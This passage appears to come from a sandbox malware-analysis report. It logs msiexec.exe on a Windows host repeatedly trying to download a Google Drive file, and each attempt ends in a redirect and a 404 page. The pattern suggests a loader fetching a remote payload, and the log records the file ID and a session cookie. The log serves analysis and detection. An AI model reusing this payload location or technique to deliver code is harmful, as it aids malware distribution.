2025-02-19 19:37:53 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.11	50017	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:54 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:54 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:54 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-fqAWqLJJgEe6d0gga4NSOQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.11	50018	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:55 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:55 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iGAvV6MJ57avvBZQBq-Z406hXtge3nDRmYcJJ_IgNGNeBeyKqjL4wWbGgW7pf__vM20 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:55 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-KqTJyNnNV_ZUk6bn_SaLRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:55 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 69 65 50 70 71 42 67 45 65 69 56 6d 49 66 41 32 31 4c 53 6f 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="giePpqBgEeiVmIfA21LSoQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:55 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.11	50019	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:56 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:57 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:57 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-4VYU6Cl0gwmOKedf-g_6bg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.11	50020	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:57 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:58 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iE8IxNtM0UMTdwNKfURlen-WqU24tpnd_fIsSELULx1DJS8GK7fGM9mEeSx02bFEruAJVw-V1U Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:58 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-QWLVSSryGIUgxwjm4Rq1bg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:58 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 67 4b 48 2d 69 77 33 65 49 6f 6c 5a 69 31 6f 57 38 4b 54 5a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="VgKH-iw3eIolZi1oW8KTZw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:58 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.11	50021	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:59 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:59 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:59 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-0rMWdYVg2bZ7K-zFTD6nWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.11	50022	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:00 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:00 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iHj91Toacop5fP5gBA9g7XzNR94_So7gdC1zAlLoBq4l_kqCmATU2SvGjeHDjPEPTqUL5Jcd8Y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:00 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-uISbiykzvZLqrY-WObq9vw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:00 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 72 74 55 61 56 70 43 75 44 73 53 4c 77 36 33 41 41 34 62 77 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UrtUaVpCuDsSLw63AA4bwQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:00 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.11	50023	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:01 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:01 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:01 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-6abzw2pA_HXHIIwCTL4g8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.11	50024	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:02 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:02 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iGPbTPUsRdsht28ucE4SeNFC771NGCepaynhfQXBIZHXWUUS1WRWez_0uP8zX1qNH5z Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:02 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-bN_K8z3fyfu6CqmEw5lvPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:02 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 38 4a 64 70 46 32 64 31 54 63 55 58 76 41 48 34 32 59 53 56 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="18JdpF2d1TcUXvAH42YSVA">*{margin:0;padding:0}html,code{font:15px/22px arial
